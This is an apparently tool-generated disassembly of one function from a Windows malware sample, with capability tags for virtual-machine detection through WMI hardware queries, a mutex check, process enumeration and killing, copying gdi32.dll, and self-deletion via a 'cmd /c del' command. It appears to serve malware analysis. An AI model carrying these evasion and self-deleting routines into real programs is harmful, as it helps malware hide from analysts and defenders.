Function at 0x4035f0
Capabilities:
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Detect vm via disk hardware wmi queries
Detect vm via motherboard hardware wmi queries
Enumerate processes
Get common file path
Query environment variable
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x368c
call fcn.00406660
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.00407730
add esp, 0xc
lea eax, [ebp - 0x310]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [ebp - 0x310]
push 0x5c
push eax
call fcn.00407890
push 0x104
push 0
lea esi, [eax + 1]
lea eax, [ebp - 0x108]
push eax
call fcn.00407730
lea ecx, [ebp - 0x108]
add esp, 0x14
mov eax, ecx
mov edx, 0x104
sub esi, eax
nop
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x403689
mov al, byte [esi + ecx]
test al, al
je 0x403689
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x403670
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
mov byte [eax], 0
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4036c5
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063ad
mov esp, ebp
pop ebp
ret 0x10
push edi
push 0xfa0
push 0x425bc8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
call esi
push eax
call fcn.0040e5e3
add esp, 4
call fcn.00404680
push 0
push 0
push 0
mov ecx, 0x42620c
call fcn.004058e0
cmp al, 1
jne 0x403999
push 0x104
lea eax, [ebp - 0x3650]
mov dword [ebp - 0x3684], 0
push 0
push eax
mov dword [ebp - 0x3680], 0
mov dword [ebp - 0x367c], 0
call fcn.00407730
add esp, 0xc
lea eax, [ebp - 0x3684]
mov ecx, 0x42620c
push eax
push str.Win32_BaseBoard
call fcn.00405b80
cmp al, 1
jne 0x40384e
push str.Product
lea ecx, [ebp - 0x354c]
call fcn.004015b0
mov ecx, dword [ebp - 0x3684]
lea eax, [ebp - 0x354c]
push eax
lea eax, [ebp - 0x368c]
push eax
call fcn.004013c0
mov eax, dword [eax]
add eax, 0x28
cmp dword [eax + 0x14], 7
jbe 0x40378e
mov eax, dword [eax]
push 0x104
push eax
push 0x104
lea eax, [ebp - 0x3650]
push eax
lea eax, [ebp - 0x3678]
push eax
call fcn.0040e971
add esp, 0x14
lea ecx, [ebp - 0x354c]
call fcn.00401740
lea eax, [ebp - 0x3650]
push 0x41c7ac
push eax
call fcn.004079d0
add esp, 8
test eax, eax
je 0x40384e
mov esi, dword [ebp - 0x3684]
test esi, esi
je 0x403e6b
mov edi, dword [ebp - 0x3680]
cmp esi, edi
je 0x403816
nop word [eax + eax]
mov eax, dword [esi]
mov ecx, esi
push dword [eax + 4]
push esi
call fcn.00401370
push 0x40
push dword [esi]
call fcn.004063eb
add esi, 8
add esp, 8
cmp esi, edi
jne 0x4037f0
mov esi, dword [ebp - 0x3684]
mov ecx, dword [ebp - 0x367c]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffff8
cmp ecx, 0x1000
jb 0x40383f
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403f5e
push ecx
push esi
call fcn.004063eb
add esp, 8
jmp 0x403e6b
lea eax, [ebp - 0x3684]
mov ecx, 0x42620c
push eax
push str.Win32_DiskDrive
call fcn.00405b80
cmp al, 1
jne 0x403927
push str.Model
lea ecx, [ebp - 0x354c]
call fcn.004015b0
mov ecx, dword [ebp - 0x3684]
lea eax, [ebp - 0x354c]
push eax
lea eax, [ebp - 0x368c]
push eax
call fcn.004013c0
mov eax, dword [eax]
add eax, 0x28
cmp dword [eax + 0x14], 7
jbe 0x4038a2
mov eax, dword [eax]
push 0x104
push eax
push 0x104
lea eax, [ebp - 0x3650]
push eax
lea eax, [ebp - 0x3678]
push eax
call fcn.0040e971
add esp, 0x14
lea ecx, [ebp - 0x354c]
call fcn.00401740
lea eax, [ebp - 0x3650]
push str.Virtual
push eax
call fcn.004079d0
add esp, 8
test eax, eax
je 0x403927
mov esi, dword [ebp - 0x3684]
test esi, esi
je 0x403e6b
mov edi, dword [ebp - 0x3680]
cmp esi, edi
je 0x403816
mov eax, dword [esi]
mov ecx, esi
push dword [eax + 4]
push esi
call fcn.00401370
push 0x40
push dword [esi]
call fcn.004063eb
add esi, 8
add esp, 8
cmp esi, edi
jne 0x403902
jmp 0x403810
mov esi, dword [ebp - 0x3684]
test esi, esi
je 0x403999
mov edi, dword [ebp - 0x3680]
cmp esi, edi
je 0x403966
nop dword [eax + eax]
mov eax, dword [esi]
mov ecx, esi
push dword [eax + 4]
push esi
call fcn.00401370
push 0x40
push dword [esi]
call fcn.004063eb
add esi, 8
add esp, 8
cmp esi, edi
jne 0x403940
mov esi, dword [ebp - 0x3684]
mov ecx, dword [ebp - 0x367c]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffff8
cmp ecx, 0x1000
jb 0x40398f
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403f5e
push ecx
push esi
call fcn.004063eb
add esp, 8
push 0x425ef8
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
push 0x425ce8
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x41c7e8
push 0x104
push 0x425ce8
call fcn.00401030
mov ecx, 0x425be0
mov esi, 0x41c7ec
mov edx, 0x104
sub esi, ecx
nop
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x4039f9
mov al, byte [esi + ecx]
test al, al
je 0x4039f9
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x4039e0
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ecx - 1]
test edx, edx
push 0x104
cmovne eax, ecx
push 0x425df0
mov byte [eax], 0
call esi
push 0x41c7f0
push 0x104
push 0x425df0
call fcn.00401030
push 0x104
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00407730
add esp, 0xc
lea eax, [ebp - 0x414]
push 0x104
push eax
push str.gdi32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00407730
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
call esi
push str.dgdi32.dll
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00401030
push 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push dword [0x42505c]
push dword [0x425080]
call fcn.00402910
add esp, 8
cmp eax, 1
jne 0x403e6b
mov eax, dword [str.clr_optimization_v3.5.10809_32]
push ebx
xor ebx, ebx
test eax, eax
je 0x403b75
mov esi, 0x42503c
xor edi, edi
push eax
call fcn.00403f70
push 1
push 0xffffffffffffffff
push dword [esi]
call fcn.004042c0
push dword [edi + 0x425054]
push dword [edi + 0x425044]
push dword [edi + 0x42504c]
push dword [esi]
call fcn.00404020
add esp, 0x20
test eax, eax
je 0x403e6a
push dword [esi]
call fcn.00404560
add esp, 4
test eax, eax
jne 0x403e6a
push dword [esi]
push dword [edi + 0x425034]
call fcn.004043e0
add esp, 8
test eax, eax
jne 0x403e6a
push dword [esi]
push dword [edi + 0x425034]
call fcn.004044a0
add esp, 8
test eax, eax
jne 0x403e6a
inc ebx
lea edi, [ebx*4]
mov eax, dword [edi + 0x42503c]
lea esi, [edi + 0x42503c]
test eax, eax
jne 0x403ae2
mov eax, dword [str.intorsf.exe]
mov esi, 1
test eax, eax
je 0x403bba
mov ecx, 4
nop dword [eax + eax]
push dword [ecx + 0x42505c]
push eax
call fcn.00402910
add esp, 8
cmp eax, 1
jne 0x403e6a
inc esi
lea ecx, [esi*4]
mov eax, dword [ecx + 0x425080]
test eax, eax
jne 0x403b90
mov edi, dword [0x42513c]
cmp edi, 0x22
jb 0x403bf7
cmp edi, 0xf
mov dword [0x425138], 0x22
push 0x22
mov esi, 0x425128
cmova esi, dword [0x425128]
push str.C:Program_FilesWindowsPowerShell
push esi
call fcn.004071b0
add esp, 0xc
mov byte [esi + 0x22], 0
jmp 0x403ca9
mov ecx, edi
mov eax, SysReAllocString
shr ecx, 1
sub eax, ecx
cmp edi, eax
jbe 0x403c0d
mov ecx, SysReAllocString
jmp 0x403c1a
lea eax, [ecx + edi]
mov ecx, 0x2f
cmp eax, ecx
cmova ecx, eax
lea eax, [ebp - 0x3678]
mov dword [ebp - 0x3678], ecx
push eax
push 0x425128
call fcn.00401200
movups xmm0, xmmword [str.C:Program_FilesWindowsPowerShell]
mov ecx, dword [ebp - 0x3678]
mov esi, eax
mov dword [0x42513c], ecx
add esp, 8
mov dword [0x425138], 0x22
movups xmmword [esi], xmm0
movups xmm0, xmmword [0x41c81c]
movups xmmword [esi + 0x10], xmm0
mov cx, word [0x41c82c]
mov word [esi + 0x20], cx
mov byte [esi + 0x22], 0
cmp edi, 0xf
jbe 0x403ca3
mov eax, dword [0x425128]
inc edi
cmp edi, 0x1000
jb 0x403c99
mov ecx, dword [eax - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403f5e
mov eax, ecx
push edi
push eax
call fcn.004063eb
add esp, 8
mov dword [0x425128], esi
push 0x425128
call fcn.00403230
push dword [0x425080]
push 0x425df0
call fcn.00402e90
push dword [0x425084]
push 0x425ce8
call fcn.00402e90
push dword [0x425088]
push 0x425ce8
call fcn.00402e90
push dword [0x42508c]
push 0x425df0
call fcn.00402e90
push dword [0x425090]
push 0x425df0
call fcn.00402e90
push dword [0x425094]
push 0x425df0
call fcn.00402e90
push dword [0x425098]
push 0x425df0
call fcn.00402e90
cmp dword [0x42513c], 0xf
mov eax, 0x425128
push dword [0x42509c]
cmova eax, dword [0x425128]
push eax
call fcn.00402e90
mov eax, dword [str.clr_optimization_v3.5.10809_32]
add esp, 0x44
xor esi, esi
test eax, eax
je 0x403d69
push 0
push eax
call fcn.00404130
lea esi, [esi + 1]
add esp, 8
mov eax, dword [esi*4 + 0x42503c]
test eax, eax
jne 0x403d50
mov eax, dword [str.w32topj]
xor esi, esi
test eax, eax
je 0x403d92
push 1
push 0x7d0
push eax
call fcn.004042c0
lea esi, [esi + 1]
add esp, 0xc
mov eax, dword [esi*4 + 0x425008]
test eax, eax
jne 0x403d74
mov edi, dword [str.nvxmgr.exe]
mov dword [ebp - 0x3678], 0
test edi, edi
je 0x403e65
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x124
lea eax, [ebp - 0x3670]
push 0
push eax
call fcn.00407730
add esp, 0xc
mov dword [ebp - 0x3674], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [ebp - 0x3674]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
lea eax, [ebp - 0x3650]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403e35
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 0x366c]
cmp eax, ecx
je 0x403e35
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x403e2f
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x403e35
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x3674]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403de8
push ebx
call esi
mov eax, dword [ebp - 0x3678]
inc eax
mov dword [ebp - 0x3678], eax
mov edi, dword [eax*4 + 0x425024]
test edi, edi
jne 0x403db0
call fcn.00401b80
pop ebx
push 0x425bc8
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0x64
call dword [sym.imp.KERNEL32.dll_SleepEx]
push 0x1060
lea eax, [ebp - 0x1474]
push 0
push eax
call fcn.00407730
push 0x1060
lea eax, [ebp - 0x24d4]
push 0
push eax
call fcn.00407730
push 0x1060
lea eax, [ebp - 0x3534]
push 0
push eax
call fcn.00407730
add esp, 0x24
lea eax, [ebp - 0x1474]
push 0x830
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
pop edi
test eax, eax
je 0x403f4d
push 0x830
lea eax, [ebp - 0x1474]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x403f4d
lea eax, [ebp - 0x1474]
push eax
push str._c_del___s_____NUL
lea eax, [ebp - 0x24d4]
push 0x830
push eax
call fcn.00402e10
add esp, 0x10
lea eax, [ebp - 0x3534]
push 0x830
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x403f4d
push 0
push 0
lea eax, [ebp - 0x24d4]
push eax
lea eax, [ebp - 0x3534]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x403f4d
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004063ad
mov esp, ebp
pop ebp
ret 0x10
call fcn.0040e54b
int3